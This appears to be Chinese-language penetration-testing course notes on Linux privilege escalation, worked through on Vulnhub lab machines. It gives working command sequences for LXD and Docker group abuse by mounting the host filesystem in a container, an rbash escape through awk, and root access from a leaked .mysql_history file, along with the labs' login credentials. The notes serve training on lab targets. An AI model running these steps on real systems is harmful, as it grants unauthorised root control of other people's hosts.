Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄漏
➢ Linux系统提权-普通用户-LXD容器
➢ Linux系统提权-普通用户-Docker容器
➢ Linux系统提权-普通用户-Rbash绕过
#应用场景:
获取到Web权限或普通用户在Linux服务器上时进行的权限提升,
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。
LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。
LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。
Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。
#利用参考:(SUID&SUDO&capability)
https://gtfobins.github.io/
#Linux系统提权-普通用户-LXD容器
原理:
LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。
lxd本地提权条件:
-已经获得Shell
-用户属于lxd组
https://www.vulnhub.com/entry/ai-web-2,357/
1、入口点:
User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf
2、检测及利用:
./LinEnum.sh
https://github.com/saghul/lxd-alpine-builder
3、创建容器,挂载磁盘,进入容器,进入目录提权
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
lxc init test test -c security.privileged=true
lxc config device add test test disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root
cat flag.txt
#Linux系统提权-普通用户-Docker容器
把一个普通账号test添加到docker组,
使用newgrp将root初始组切换为docker
usermod -G docker test
newgrp docker
su test
docker run -v /:/mnt -it alpine
Docker本地提权条件:
1、已经获得Shell
2、用户属于docker组
参考:云安全95-96课的逃逸
https://www.vulnhub.com/entry/chill-hack-1,622/
1、入口点:
User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root
#Linux系统提权-普通用户-Rbash绕过
参考:https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
sudoadduser xiaodisec
sudo usermod -s /bin/rbash xiaodisec
https://www.vulnhub.com/entry/funbox-rookie,520/
1、入口点:
fscan -h 192.168.1.0/24
ftp 192.168.1.8
get tom.zip(iubire)
ssh tom@192.168.1.8 -i id_rsa
2、Rbash绕过:
python -m http.server 8080
wget http://192.168.1.3:8080/LinEnum.sh
awk 'BEGIN {system("/bin/bash")}'
3、历史泄漏提权:
./LinEnum.sh
cat /home/tom/.mysql_history
su root(xx11yy22!)